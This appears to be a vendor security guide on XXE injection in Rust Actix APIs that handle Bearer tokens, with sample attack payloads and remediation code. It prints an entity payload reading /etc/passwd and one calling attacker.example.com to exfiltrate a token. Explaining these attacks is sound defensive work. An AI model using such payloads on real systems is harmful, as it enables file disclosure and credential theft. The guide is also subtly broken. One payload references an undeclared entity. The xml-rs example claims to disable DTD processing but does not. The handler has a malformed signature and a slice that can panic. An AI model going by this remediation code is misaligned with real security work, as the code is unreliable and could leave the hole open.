Xml External Entities in Actix with Bearer Tokens
Xml External Entities in Actix with Bearer Tokens — how this specific combination creates or exposes the vulnerability
Xml External Entity (XXE) injection in Actix applications becomes significantly more impactful when Bearer Tokens are handled in request flows. In this combination, an API endpoint that accepts XML payloads may parse external entities in attacker-controlled XML, and the processing logic may inadvertently include sensitive data carried in Authorization headers using the Bearer scheme. Because Bearer Tokens are commonly transmitted in the Authorization header, an XXE payload can exfiltrate or transform those token values through entity expansions, external file references, or parameter entities, exposing authentication material that would otherwise remain isolated from XML processing.
Consider an Actix-based API that accepts XML uploads for configuration or document processing. If the server uses an XML parser that resolves external entities without disabling them, an attacker can craft a request like the following, including a Bearer Token in the Authorization header:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.exampleSignature
Meanwhile, the XML body may reference an external entity designed to read internal system files or trigger out-of-band interactions:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "file:///etc/passwd" > %xxe; ]> <root> <data>&xxe;</data> </root>
In a server-side request forgery or SSRF context, additional entity declarations can direct the parser to make HTTP requests to an attacker-controlled endpoint, capturing the Bearer Token in query or body parameters:
<!DOCTYPE foo [ <!ENTITY % remote SYSTEM "https://attacker.example.com/log" > %remote; ]> <root> <token>&token;</token> </root>
If the application maps Authorization headers into XML processing logic—such as validating operations based on claims extracted from the token—XXE can disclose the token, enabling token replay or privilege escalation. Because Actix routes often deserialize headers into handler parameters, a vulnerable XML deserializer can propagate the token into logs, error messages, or downstream HTTP calls, amplifying the risk beyond simple data exposure.
Moreover, if the API supports OpenAPI specs with examples containing Authorization headers, an attacker scanning with middleBrick may detect unauthenticated endpoints that process XML and flag the combination as a high-risk pattern. The scanner’s XML/SSRF and Data Exposure checks can surface both the presence of Bearer Tokens in runtime interactions and the lack of entity expansion restrictions, providing prioritized remediation guidance tied to OWASP API Top 10 and related compliance mappings.
Bearer Tokens-Specific Remediation in Actix — concrete code fixes
Remediation focuses on preventing XML external entity processing and ensuring Bearer Tokens are never handled by XML parsers. In Actix web applications, configure extractors so that Authorization headers are read as strings and passed to authentication logic without exposing them to XML deserialization. Disable external entity resolution in any XML library used, and validate that no user-controlled data reaches the parser.
First, ensure your Actix route does not bind XML parsing to Authorization headers. Instead, explicitly parse the Authorization header in Rust code and reject requests that contain XML where it is not expected:
use actix_web::{web, HttpRequest, HttpResponse, Error};
use std::str::FromStr;
async fn handle_request(
req: HttpRequest,
body: String,
) -> Result {
// Extract Bearer token safely without XML involvement
let auth_header = req.headers().get("authorization");
let token = match auth_header {
Some(h) => h.to_str().unwrap_or(""),
None => return Ok(HttpResponse::Unauthorized().finish()),
};
if !token.starts_with("Bearer ") {
return Ok(HttpResponse::BadRequest().body("Invalid auth scheme"));
}
let token_value = token.trim_start_matches("Bearer ");
// Do NOT pass body to XML parser if it is not expected
if body.trim().starts_with("<?") || body.trim().starts_with("<!") {
return Ok(HttpResponse::BadRequest().body("XML not allowed"));
}
// Continue with JSON or form parsing as appropriate
Ok(HttpResponse::Ok().body(format!("Token validated: {}...", &token_value[..8])))
}
Second, if your application must process XML for legitimate reasons, configure the XML parser to disable external entities. For example, using the roxmltree parser—which does not resolve external entities by default—is safer than enabling full-featured parsers. When using xml-rs, disable DTD processing explicitly:
use xml::reader::{EventReader, XmlEvent};
use std::io::Cursor;
fn parse_safe_xml(input: &str) -> Result<(), String> {
let cursor = Cursor::new(input);
let parser = EventReader::new(cursor);
for event in parser {
match event {
Ok(XmlEvent::StartElement { name, .. }) => {
// process elements safely
}
Ok(XmlEvent::EndElement { .. }) => {}
Err(e) => return Err(format!("XML error: {}", e)),
_ => {}
}
}
Ok(())
}
Third, enforce a strict Content-Type policy so that endpoints expecting JSON do not accept XML. In Actix, this can be done with guards on the route or payload configuration:
use actix_web::web::Bytes;
use actix_web::http::header::ContentType;
async fn guarded_json_body(
payload: web::Json<serde_json::Value>
) -> HttpResponse {
HttpResponse::Ok().json(payload.into_inner())
}
// In route configuration:
// .route("/api/data", web::post().to(guarded_json_body))
// Ensure client sends Content-Type: application/json and not text/xml
Finally, rotate Bearer Tokens if any exposure is suspected, and audit logs for XML parsing activity. With these changes, the API will treat tokens as opaque strings, avoid XML-based leakage, and align with secure defaults that middleBrick’s scans can verify through its Authentication, Data Exposure, and SSRF checks.